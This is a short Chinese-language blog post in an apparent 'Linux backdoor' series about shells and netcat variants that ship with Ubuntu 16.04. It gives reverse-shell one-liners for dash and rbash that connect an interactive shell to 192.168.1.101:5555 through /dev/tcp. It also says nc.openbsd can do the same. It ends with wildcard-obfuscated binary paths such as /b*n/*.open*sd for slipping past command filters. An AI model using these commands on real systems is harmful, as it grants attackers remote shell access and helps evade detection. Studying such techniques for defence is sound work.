dash & rbash & nc.openbsd ​| Linux 后门系列

今天在查找资料的时候在一篇文章中发现了 dash 和 nc.openbsd 这两个命令，dash、rbash、nc.openbsd 和 nc.traditional 这几个命令平时都很少遇到，所以一直也就不知道他们的存在，这次也是争取把这些补齐了，后续还有那些系统自带的可以反弹shell的命令我遗漏了大家可以反馈给我，我也学习一下

0x01 dash & rbash

每个系统自带的shell貌似都不太一样，sh 和 bash 基本上是每个系统都有的，如何查看每个系统支持的 shell 呢？

cat /etc/shells

很多系统还会自带 zsh ,Ubuntu 16.04 中并不包含 zsh

Ubuntu 16.04 默认带 dash 和 rbash，使用方法和bash一样

• dash -i >& /dev/tcp/192.168.1.101/5555 0>&1
• rbash -i >& /dev/tcp/192.168.1.101/5555 0>&1

0x02 nc.openbsd

nc 有几个版本，一般系统会自带：

• nc
• nc.openbsd / nc.traditional

Ubuntu 16.04 自带 nc.openbsd 但是不自带 nc.traditional , nc.openbsd 同样可以实现反弹 shell 的功能

nc.openbsd 和 nc 使用方法一样，如下：

那么 nc 和 nc.openbsd 在哪个目录呢？

• /bin/nc
• /bin/nc.openbsd

这回如果你想用之前我说的 ` + * 方案，就知道怎么构造了

• /b*n/*.open*sd
• /b*n/*.*pen*sd
• /*in/*.*pen*sd